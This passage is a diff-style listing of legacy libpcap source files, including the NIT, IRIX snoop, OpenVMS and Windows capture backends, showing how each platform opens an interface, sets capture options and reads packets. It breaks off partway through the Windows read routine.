snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSTIME: %s",
pcap_strerror(errno));
return (-1);
}
}
flags = NI_TIMESTAMP | NI_LEN | NI_DROPS;
if (promisc)
flags |= NI_PROMISC;
si.ic_cmd = NIOCSFLAGS;
si.ic_len = sizeof(flags);
si.ic_dp = (char *)&flags;
if (ioctl(fd, I_STR, (char *)&si) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSFLAGS: %s",
pcap_strerror(errno));
return (-1);
}
return (0);
}
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
struct strioctl si; /* struct for ioctl() */
struct ifreq ifr; /* interface request struct */
int chunksize = CHUNKSIZE;
int fd;
static char dev[] = "/dev/nit";
register pcap_t *p;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE);
return (NULL);
}
if (snaplen < 96)
/*
* NIT requires a snapshot length of at least 96.
*/
snaplen = 96;
memset(p, 0, sizeof(*p));
p->fd = fd = open(dev, O_RDONLY);
if (fd < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "%s: %s", dev,
pcap_strerror(errno));
goto bad;
}
/* arrange to get discrete messages from the STREAM and use NIT_BUF */
if (ioctl(fd, I_SRDOPT, (char *)RMSGD) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "I_SRDOPT: %s",
pcap_strerror(errno));
goto bad;
}
if (ioctl(fd, I_PUSH, "nbuf") < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "push nbuf: %s",
pcap_strerror(errno));
goto bad;
}
/* set the chunksize */
si.ic_cmd = NIOCSCHUNK;
si.ic_timout = INFTIM;
si.ic_len = sizeof(chunksize);
si.ic_dp = (char *)&chunksize;
if (ioctl(fd, I_STR, (char *)&si) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSCHUNK: %s",
pcap_strerror(errno));
goto bad;
}
/* request the interface */
strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
ifr.ifr_name[sizeof(ifr.ifr_name) - 1] = '\0';
si.ic_cmd = NIOCBIND;
si.ic_len = sizeof(ifr);
si.ic_dp = (char *)&ifr;
if (ioctl(fd, I_STR, (char *)&si) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCBIND: %s: %s",
ifr.ifr_name, pcap_strerror(errno));
goto bad;
}
/* set the snapshot length */
si.ic_cmd = NIOCSSNAP;
si.ic_len = sizeof(snaplen);
si.ic_dp = (char *)&snaplen;
if (ioctl(fd, I_STR, (char *)&si) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "NIOCSSNAP: %s",
pcap_strerror(errno));
goto bad;
}
p->snapshot = snaplen;
if (nit_setflags(p->fd, promisc, to_ms, ebuf) < 0)
goto bad;
(void)ioctl(fd, I_FLUSH, (char *)FLUSHR);
/*
* NIT supports only ethernets.
*/
p->linktype = DLT_EN10MB;
p->bufsize = BUFSPACE;
p->buffer = (u_char *)malloc(p->bufsize);
if (p->buffer == NULL) {
strlcpy(ebuf, pcap_strerror(errno), PCAP_ERRBUF_SIZE);
goto bad;
}
return (p);
bad:
if (fd >= 0)
close(fd);
free(p);
return (NULL);
}
int
pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf)
{
return (0);
}
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
if (install_bpf_program(p, fp) < 0)
return (-1);
return (0);
}

View File

@@ -0,0 +1,307 @@
/*
* Copyright (c) 1993, 1994, 1995, 1996, 1997
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-snoop.c,v 1.37 2002/07/30 07:48:20 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <sys/param.h>
#include <sys/file.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <net/raw.h>
#include <net/if.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/if_ether.h>
#include <netinet/ip_var.h>
#include <netinet/udp.h>
#include <netinet/udp_var.h>
#include <netinet/tcp.h>
#include <netinet/tcpip.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "pcap-int.h"
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
int
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
int cc;
register struct snoopheader *sh;
register int datalen;
register int caplen;
register u_char *cp;
again:
cc = read(p->fd, (char *)p->buffer, p->bufsize);
if (cc < 0) {
/* Don't choke when we get ptraced */
switch (errno) {
case EINTR:
goto again;
case EWOULDBLOCK:
return (0); /* XXX */
}
snprintf(p->errbuf, sizeof(p->errbuf),
"read: %s", pcap_strerror(errno));
return (-1);
}
sh = (struct snoopheader *)p->buffer;
datalen = sh->snoop_packetlen;
caplen = (datalen < p->snapshot) ? datalen : p->snapshot;
cp = (u_char *)(sh + 1) + p->offset; /* XXX */
if (p->fcode.bf_insns == NULL ||
bpf_filter(p->fcode.bf_insns, cp, datalen, caplen)) {
struct pcap_pkthdr h;
++p->md.stat.ps_recv;
h.ts.tv_sec = sh->snoop_timestamp.tv_sec;
h.ts.tv_usec = sh->snoop_timestamp.tv_usec;
h.len = datalen;
h.caplen = caplen;
(*callback)(user, &h, cp);
return (1);
}
return (0);
}
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
register struct rawstats *rs;
struct rawstats rawstats;
rs = &rawstats;
memset(rs, 0, sizeof(*rs));
if (ioctl(p->fd, SIOCRAWSTATS, (char *)rs) < 0) {
snprintf(p->errbuf, sizeof(p->errbuf),
"SIOCRAWSTATS: %s", pcap_strerror(errno));
return (-1);
}
/*
* "ifdrops" are those dropped by the network interface
* due to resource shortages or hardware errors.
*
* "sbdrops" are those dropped due to socket buffer limits.
*
* As filter is done in userland, "sbdrops" counts packets
* regardless of whether they would've passed the filter.
*
* XXX - does this count *all* Snoop or Drain sockets,
* rather than just this socket? If not, why does it have
* both Snoop and Drain statistics?
*/
p->md.stat.ps_drop =
rs->rs_snoop.ss_ifdrops + rs->rs_snoop.ss_sbdrops +
rs->rs_drain.ds_ifdrops + rs->rs_drain.ds_sbdrops;
/*
* "ps_recv" counts only packets that passed the filter.
* As filtering is done in userland, this does not include
* packets dropped because we ran out of buffer space.
*/
*ps = p->md.stat;
return (0);
}
/* XXX can't disable promiscuous */
pcap_t *
pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
int fd;
struct sockaddr_raw sr;
struct snoopfilter sf;
u_int v;
int ll_hdrlen;
int snooplen;
pcap_t *p;
struct ifreq ifr;
p = (pcap_t *)malloc(sizeof(*p));
if (p == NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s",
pcap_strerror(errno));
return (NULL);
}
memset(p, 0, sizeof(*p));
fd = socket(PF_RAW, SOCK_RAW, RAWPROTO_SNOOP);
if (fd < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "snoop socket: %s",
pcap_strerror(errno));
goto bad;
}
p->fd = fd;
memset(&sr, 0, sizeof(sr));
sr.sr_family = AF_RAW;
(void)strncpy(sr.sr_ifname, device, sizeof(sr.sr_ifname));
if (bind(fd, (struct sockaddr *)&sr, sizeof(sr))) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "snoop bind: %s",
pcap_strerror(errno));
goto bad;
}
memset(&sf, 0, sizeof(sf));
if (ioctl(fd, SIOCADDSNOOP, &sf) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCADDSNOOP: %s",
pcap_strerror(errno));
goto bad;
}
v = 64 * 1024;
(void)setsockopt(fd, SOL_SOCKET, SO_RCVBUF, (char *)&v, sizeof(v));
/*
* XXX hack - map device name to link layer type
*/
if (strncmp("et", device, 2) == 0 || /* Challenge 10 Mbit */
strncmp("ec", device, 2) == 0 || /* Indigo/Indy 10 Mbit,
O2 10/100 */
strncmp("ef", device, 2) == 0 || /* O200/2000 10/100 Mbit */
strncmp("eg", device, 2) == 0 || /* Octane/O2xxx/O3xxx Gigabit */
strncmp("gfe", device, 3) == 0 || /* GIO 100 Mbit */
strncmp("fxp", device, 3) == 0 || /* Challenge VME Enet */
strncmp("ep", device, 2) == 0 || /* Challenge 8x10 Mbit EPLEX */
strncmp("vfe", device, 3) == 0 || /* Challenge VME 100Mbit */
strncmp("fa", device, 2) == 0 ||
strncmp("qaa", device, 3) == 0 ||
strncmp("cip", device, 3) == 0 ||
strncmp("el", device, 2) == 0) {
p->linktype = DLT_EN10MB;
p->offset = RAW_HDRPAD(sizeof(struct ether_header));
ll_hdrlen = sizeof(struct ether_header);
} else if (strncmp("ipg", device, 3) == 0 ||
strncmp("rns", device, 3) == 0 || /* O2/200/2000 FDDI */
strncmp("xpi", device, 3) == 0) {
p->linktype = DLT_FDDI;
p->offset = 3; /* XXX yeah? */
ll_hdrlen = 13;
} else if (strncmp("ppp", device, 3) == 0) {
p->linktype = DLT_RAW;
ll_hdrlen = 0; /* DLT_RAW meaning "no PPP header, just the IP packet"? */
} else if (strncmp("lo", device, 2) == 0) {
p->linktype = DLT_NULL;
ll_hdrlen = 4; /* is this just like BSD's loopback device? */
} else {
snprintf(ebuf, PCAP_ERRBUF_SIZE,
"snoop: unknown physical layer type");
goto bad;
}
#ifdef SIOCGIFMTU
/*
* XXX - IRIX appears to give you an error if you try to set the
* capture length to be greater than the MTU, so let's try to get
* the MTU first and, if that succeeds, trim the snap length
* to be no greater than the MTU.
*/
(void)strncpy(ifr.ifr_name, device, sizeof(ifr.ifr_name));
if (ioctl(fd, SIOCGIFMTU, (char *)&ifr) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCGIFMTU: %s",
pcap_strerror(errno));
goto bad;
}
/*
* OK, we got it.
*
* XXX - some versions of IRIX 6.5 define "ifr_mtu" and have an
* "ifru_metric" member of the "ifr_ifru" union in an "ifreq"
* structure, others don't.
*
* I've no idea what's going on, so, if "ifr_mtu" isn't defined,
* we define it as "ifr_metric", as using that field appears to
* work on the versions that lack "ifr_mtu" (and, on those that
* don't lack it, "ifru_metric" and "ifru_mtu" are both "int"
* members of the "ifr_ifru" union, which suggests that they
* may be interchangeable in this case).
*/
#ifndef ifr_mtu
#define ifr_mtu ifr_metric
#endif
if (snaplen > ifr.ifr_mtu + ll_hdrlen)
snaplen = ifr.ifr_mtu + ll_hdrlen;
#endif
/*
* The argument to SIOCSNOOPLEN is the number of link-layer
* payload bytes to capture - it doesn't count link-layer
* header bytes.
*/
snooplen = snaplen - ll_hdrlen;
if (snooplen < 0)
snooplen = 0;
if (ioctl(fd, SIOCSNOOPLEN, &snooplen) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCSNOOPLEN: %s",
pcap_strerror(errno));
goto bad;
}
p->snapshot = snaplen;
v = 1;
if (ioctl(fd, SIOCSNOOPING, &v) < 0) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "SIOCSNOOPING: %s",
pcap_strerror(errno));
goto bad;
}
p->bufsize = 4096; /* XXX */
p->buffer = (u_char *)malloc(p->bufsize);
if (p->buffer == NULL) {
snprintf(ebuf, PCAP_ERRBUF_SIZE, "malloc: %s",
pcap_strerror(errno));
goto bad;
}
return (p);
bad:
(void)close(fd);
free(p);
return (NULL);
}
int
pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf)
{
return (0);
}
int
pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
if (install_bpf_program(p, fp) < 0)
return (-1);
return (0);
}

View File

@@ -0,0 +1,44 @@
/*
* Copyright (c) 2002
* Politecnico di Torino. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the Politecnico
* di Torino, and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* @(#) $Header: /tcpdump/master/libpcap/pcap-stdinc.h,v 1.5 2002/08/05 07:45:09 guy Exp $ (LBL)
*/
#define SIZEOF_CHAR 1
#define SIZEOF_SHORT 2
#define SIZEOF_INT 4
#define _WINSOCKAPI_
#include <fcntl.h>
#include <winsock2.h>
#include "bittypes.h"
#include <time.h>
#include <io.h>
#ifndef __MINGW32__
#include "IP6_misc.h"
#endif
#define caddr_t char*
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define inline __inline

View File

@@ -0,0 +1,502 @@
/*
* Copyright (c) 2002 Compaq Computer Corporation
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* X-4 Mark Pizzolato mark@infocomm.com 30-Oct-2003
* Changed the interface names returned by pcap_platform_finddevs
* to be upper case to conform to the form provided by UCX. This
* avoids duplicate interface names from being found.
* Fixed error paths in pcap_open_live to release aquired resources.
*
* X-3 Mark Pizzolato mark@infocomm.com 20-Oct-2003
* filled in pcap_platform_finddevs. This has the consequence of
* letting pcap functionality work if there is no IP stack installed
* or if the ip stack installed is not UCX. Additionally pcap
* functionality can be achieved on an interface which isn't
* associated with an IP stack.
* Fixed pcap_read to allow the complete frame contents to be read
* instead of merely the first 1500 bytes.
* Fixed pcap_read result data length to not include the CRC in the
* returned frame size.
*
* X-2 Ankan Anders Ahgren 30-Mar-2003
* Almost a complete rewrite. We're now interfacing with an
* execlet, which gives us access to the VCI interface.
*
* X1.0 Ankan Anders Ahgren 29-Nov-2002
* Initial version.
*/
// VMS Includes
#include <errno.h>
#include <ctype.h> /* Character type classification macros/routines */
#include <descrip.h> /* For VMS descriptor manipulation */
#include <iodef.h> /* I/O function code definitions */
#include <ssdef.h> /* System service return status code definitions */
#include <starlet.h> /* System library routine prototypes */
#include <stdio.h> /* ANSI C Standard Input/Output */
#include <stdlib.h> /* General utilities */
#include <string.h> /* String handling */
#include <stsdef.h> /* VMS status code definitions */
#include <dvidef.h>
#include <dcdef.h>
#include <efndef.h>
#include <lib$routines.h>
#include <unistd.h>
#include <socket.h>
#include <in.h>
#include <if.h>
#include <ldrimgdef.h>
#include <ldr_routines.h>
#include <nmadef.h> /* NMA stuff */
#define LANSIZE 256
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include "pcapvci.h"
#include "pcap-vms.h"
#include <string.h>
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
#include "pcap-int.h"
#define $SUCCESS(status) (((status) & STS$M_SUCCESS) == SS$_NORMAL)
#define $FAIL(status) (((status) & STS$M_SUCCESS) != SS$_NORMAL)
#define init_desc(name, len, addr) \
{ \
name.dsc$b_dtype = DSC$K_DTYPE_T; \
name.dsc$b_class = DSC$K_CLASS_S; \
name.dsc$a_pointer = addr; \
name.dsc$w_length = len; \
}
typedef struct _iosb
{
short cond_val; /* Completion Status */
short size; /* Transfer Size */
short addl; /* Additional status */
short misc; /* Miscellaneous */
} IOSB;
typedef struct _interface {
char interface[4];
char device[6];
} INTERFACE;
/*
** Timeout AST routine
*/
void timer_ast(pcap_t *p)
{
p->timedout = 1;
}
/*
** Interface to device conversion routine. Converts a TCP/IP interface
** to a ASCIC VMS device for use by VCI.
**
** Example:
**
** WE0 becomes EWA
** SE1 becomes ESB
** XE0 becomes EXA
**
** For now we do not worry about pseudo interfaces, e.g WEA0
*/
int convert_interface_device(char *inter_name, INTERFACE *inter ) {
char num_conv[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
int status;
char tmpdev[5];
int tmpval;
tmpdev[0] = 3;
tmpdev[1] = toupper(inter_name[1]);
tmpdev[2] = toupper(inter_name[0]);
tmpval = (int) (char) inter_name[2] - (char) '0';
if (tmpval < 0 || tmpval > sizeof(num_conv)) {
return -1;
}
tmpdev[3] = num_conv[tmpval];
tmpdev[4] = '\0';
strcpy(inter->interface, inter_name);
memcpy(inter->device, tmpdev, 5);
return 0;
}
/*
** Device name to interface name Interface conversion routine. Converts a
** VMS device name string of the form _ddc0: to a TCP/IP interface name
** for later use by VCI.
**
** Example:
**
** _EWA0: becomes WE0
** _ESB0: becomes SE1
** _EXA0: becomes XE0
**
** For now we do not worry about pseudo interfaces, e.g WEA0
*/
int convert_device_interface(char *device, char *inter_name ) {
char num_conv[] = "ABCDEFGHIJ";
int tmpval;
if ((device[0] != '_') ||
(device[4] != '0') ||
(device[5] != ':'))
return -1;
tmpval = toupper(device[3]) - 'A';
if (tmpval < 0 || tmpval > sizeof(num_conv))
return -1;
inter_name[0] = toupper(device[2]);
inter_name[1] = toupper(device[1]);
inter_name[2] = '0' + tmpval;
inter_name[3] = '\0';
return 0;
}
//
// This is kept in the execlet, so go get it.
//
int pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
int status;
PCAPSTAT vci_stat;
status = pcapvci_get_statistics(p->vcmctx, &vci_stat);
if $FAIL(status) {
return (-1);
}
ps->ps_recv = vci_stat.recv_packets;
ps->ps_drop = vci_stat.recv_packets_dropped;
return 0;
}
/*
** Read a packet
*/
int pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
int status;
struct pcap_pkthdr pcap_header;
promisc_header promhdr;
int timeout[2];
int msec_mul = -10000;
int once = 1;
int packlen;
//
// If we're to timeout, set up timeout.
//
if (p->check_timeout && p->timeout > 0) {
p->timedout = 0;
status = lib$emul(&p->timeout, &msec_mul, &0, timeout);
if $FAIL(status) {
return -1;
}
status = sys$setimr(0, timeout, &timer_ast, p, 0);
if $FAIL(status) {
return -1;
}
}
while (once || (p->check_timeout && !p->timedout)) {
if (p->timeout != -1) {
once = 0;
}
// Read the packet
packlen = pcapvci_read_packet(p->vcmctx, sizeof(p->lan_pkt), (char *)&p->lan_pkt);
if (packlen < 0) {
p->check_timeout = 0;
return -1;
}
if (packlen == 0) {
p->check_timeout = 0;
return 0;
}
// Remove the CRC from consideration in the captured packet
packlen -= 4;
if (p->fcode.bf_insns == NULL ||
bpf_filter(p->fcode.bf_insns, (unsigned char *)&p->lan_pkt,
packlen, packlen)) {
++p->md.stat.ps_recv;
pcap_header.len = packlen;
pcap_header.caplen = packlen;
gettimeofday(&pcap_header.ts, NULL);
(*callback)(user, &pcap_header, (unsigned char *)&p->lan_pkt);
p->check_timeout = 0;
return 1;
}
}
p->check_timeout = 0;
return 0;
}
/*
** Send a packet.
** One problem, the send it asynchronous, so we can't check for status.
*/
int pcap_sendpacket(pcap_t *p, u_char *buf, int size)
{
int status;
status = pcapvci_send_packet(p->vcmctx, 14, size, (char *)buf);
return 0;
}
/*
** Open a connection. This is a bit tricky. We could use the LAN driver to listen
** to packets. However, we'd also like to be able to modify packets and send
** them off to the wire. In many cases when sending a packet we want to modify
** the sources address. While it is possible to modify the physical address
** using the LAN driver it affects the controller, not the device we created
** from the LAN driver template device. For this reason we have to use a
** VMS execlet that uses the undocumented VCI interface. The code for that
** part is a separate image, which we interface to via a buffer in the
** non paged pool, real cool.
*/
pcap_t *pcap_open_live(char *device, int snaplen, int promisc, int to_ms, char *ebuf)
{
int status;
pcap_t *pcap_handle;
char *ctlptr;
char proto[5] = {8,0,0x2b,0x80,0x00};
char pty[2] = {0x08,0x00};
unsigned long ctldesc[2];
INTERFACE interface;
// Load the PCAP VCM execlet, if not already loaded
status = pcapvci_load_execlet();
if $FAIL(status) {
return NULL;
}
// Convert interface to device
status = convert_interface_device(device, &interface);
if (status < 0) {
return NULL;
}
pcap_handle = malloc(sizeof(pcap_t));
if (!pcap_handle) {
return NULL;
}
memset(pcap_handle, 0, sizeof(pcap_t));
// Allocate a VCI port
status = pcapvci_alloc_port(&pcap_handle->vcmctx);
if $FAIL(status) {
free(pcap_handle);
return NULL;
}
// Create a VCI port
status = pcapvci_create_port(pcap_handle->vcmctx, interface.device);
if $FAIL(status) {
pcapvci_free_port(pcap_handle->vcmctx);
free(pcap_handle);
return NULL;
}
pcap_handle->lan_ctl = malloc(LANSIZE);
if (!pcap_handle->lan_ctl) {
free(pcap_handle);
return NULL;
}
pcap_handle->bufsize = 64*1024;
pcap_handle->buffer = malloc(pcap_handle->bufsize);
//
// Save timeout value
//
pcap_handle->timeout = to_ms;
pcap_handle->check_timeout = 0;
//
// Link type ethernet
//
pcap_handle->linktype = DLT_EN10MB;
//
// Save snapshot length
//
pcap_handle->snapshot = snaplen;
//
// Use standard ethernet package type
//
ctlptr = pcap_handle->lan_ctl;
// ADD_INT_VAL(ctlptr, NMA$C_PCLI_FMT, NMA$C_LINFM_802E);
ADD_INT_VAL(ctlptr, NMA$C_PCLI_FMT, NMA$C_LINFM_ETH);
// ADD_INT_VAL(ctlptr, NMA$C_PCLI_SAP, 0xfffe);
ADD_INT_VAL(ctlptr, NMA$C_PCLI_PAD, NMA$C_STATE_OFF);
// ADD_INT_VAL(ctlptr, NMA$C_PCLI_CRC, NMA$C_STATE_OFF);
ADD_INT_VAL(ctlptr, NMA$C_PCLI_MLT, NMA$C_STATE_ON);
// ADD_INT_VAL(ctlptr, NMA$C_PCLI_ACC, NMA$C_ACC_SHR);
//
// Have device buffer 255 packets
//
ADD_INT_VAL(ctlptr, NMA$C_PCLI_BFN, 255);
ADD_INT_VAL(ctlptr, NMA$C_PCLI_BUS, 2048);
// ADD_INT_VAL(ctlptr, NMA$C_PCLI_DCH, NMA$C_STATE_ON);
//
// If promiscious mode, enable it
//
if (promisc) {
ADD_INT_VAL(ctlptr, NMA$C_PCLI_PRM, NMA$C_STATE_ON);
}
//
// All ethernet packets
//
ADD_INT_VAL(ctlptr, NMA$C_PCLI_PTY, *(int *)pty);
// ADD_CNT_VAL(ctlptr, NMA$C_PCLI_PID, sizeof(proto), proto);
//
// Calculate length
//
ctldesc[0] = ctlptr - pcap_handle->lan_ctl;
ctldesc[1] = (unsigned long)pcap_handle->lan_ctl;
//
// Enable the VCI port
//
status = pcapvci_enable_port(pcap_handle->vcmctx, ctldesc[0], (char *)ctldesc[1]);
if $FAIL(status) {
pcapvci_delete_port(pcap_handle->vcmctx);
pcapvci_free_port(pcap_handle->vcmctx);
free(pcap_handle->lan_ctl);
free(pcap_handle);
return NULL;
}
return pcap_handle;
}
void pcap_close_vms(pcap_t *p)
{
int status;
//
// Disable the port
//
status = pcapvci_disable_port(p->vcmctx);
//
// Delete the port
//
status = pcapvci_delete_port(p->vcmctx);
//
// Get rid of VCM context
//
status = pcapvci_free_port(p->vcmctx);
//
// Free up memory
//
if (p->lan_ctl) {
free(p->lan_ctl);
}
}
int pcap_platform_finddevs(pcap_if_t **alldevsp, char *errbuf)
{
int ctx[2] = {0,0};
char devnam[65];
char interfacename[8];
char description[100];
long devclass = DC$_SCOM;
long devunit, devclassval;
int unititem = DVI$_UNIT;
int classitem = DVI$_DEVCLASS;
$DESCRIPTOR(retdev,devnam);
$DESCRIPTOR(searchdev, "*0:");
int status;
while (1)
{
retdev.dsc$w_length = sizeof(devnam)-1;
status = sys$device_scan( &retdev, &retdev.dsc$w_length, &searchdev, NULL, ctx);
if $FAIL(status)
break;
status = lib$getdvi(&unititem, 0, &retdev, &devunit, NULL, NULL);
if $FAIL(status)
break;
if (0 != devunit)
continue;
status = lib$getdvi(&classitem, 0, &retdev, &devclassval, NULL, NULL);
if $FAIL(status)
break;
if (DC$_SCOM != devclassval)
continue;
devnam[retdev.dsc$w_length] = '\0';
if (0 != convert_device_interface(devnam, interfacename))
continue;
/*
* Add information for this address to the list.
*/
sprintf(description, "VMS Device: %s", devnam);
if (pcap_add_if(alldevsp, interfacename, 0, description, errbuf) < 0)
continue;
}
return (0);
}
int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
{
if (install_bpf_program(p, fp) < 0)
return (-1);
return (0);
}

View File

@@ -0,0 +1,77 @@
/*
* Copyright (c) 2002 Compaq Computer Corporation
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the Politecnico
* di Torino, and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*
* X-2 Ankan Anders Ahgren 30-Mar-2003
* Add VCI support. This is done by calling the PCAP VCM
* execlet, rather than the LAN driver. This should speed
* up performance.
*
* X-1 Ankan Anders Ahgren 29-Nov-2002
* Initial version.
*
*/
#ifndef __PCAP_VMS__H
#define __PCAP_VMS__H
#define SIZEOF_CHAR 1
#define SIZEOF_SHORT 2
#define SIZEOF_INT 4
#include <fcntl.h>
#include <stdarg.h>
#include <sys/types.h>
#include <socket.h>
#include <in.h>
#include "snprintf.h"
#include "pcapvcm.h"
//#include "bittypes.h"
#include <time.h>
//#include <io.h>
//
// Do not align
//
#pragma nomember_alignment
typedef unsigned long u_int32;
typedef struct _promisc_header {
unsigned char da[6];
unsigned char sa[6];
char proto[2];
char misc[6];
} promisc_header;
typedef struct _packet_header {
unsigned char da[6];
unsigned char sa[6];
char proto[2];
} packet_header;
typedef struct _send_header {
unsigned char da[6];
char proto[2];
} send_header;
typedef struct _packet {
packet_header hdr;
unsigned char data[2048];
} packet;
#endif /* __PCAP_VMS__H */

View File

@@ -0,0 +1,322 @@
/*
* Copyright (c) 1999, 2000
* Politecnico di Torino. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the Politecnico
* di Torino, and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/pcap-win32.c,v 1.2 2002/08/05 07:45:09 guy Exp $ (LBL)";
#endif
#include <pcap-int.h>
#include <packet32.h>
#include <Ntddndis.h>
#ifdef __MINGW32__
int* _errno();
#define errno (*_errno())
#endif /* __MINGW32__ */
#define PcapBufSize 256000 /*dimension of the buffer in the pcap_t structure*/
#define SIZE_BUF 1000000
/*start winsock*/
int
wsockinit()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD( 1, 1);
err = WSAStartup( wVersionRequested, &wsaData );
if ( err != 0 )
{
return -1;
}
return 0;
}
int
pcap_stats(pcap_t *p, struct pcap_stat *ps)
{
if(PacketGetStats(p->adapter, (struct bpf_stat*)ps) != TRUE){
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "PacketGetStats error: %s", pcap_win32strerror());
return -1;
}
return 0;
}
int
pcap_read(pcap_t *p, int cnt, pcap_handler callback, u_char *user)
{
int cc;
int n = 0;
register u_char *bp, *ep;
cc = p->cc;
if (p->cc == 0) {
/* capture the packets */
if(PacketReceivePacket(p->adapter,p->Packet,TRUE)==FALSE){
snprintf(p->errbuf, PCAP_ERRBUF_SIZE, "read error: PacketReceivePacket failed");
return (-1);
}
cc = p->Packet->ulBytesReceived;
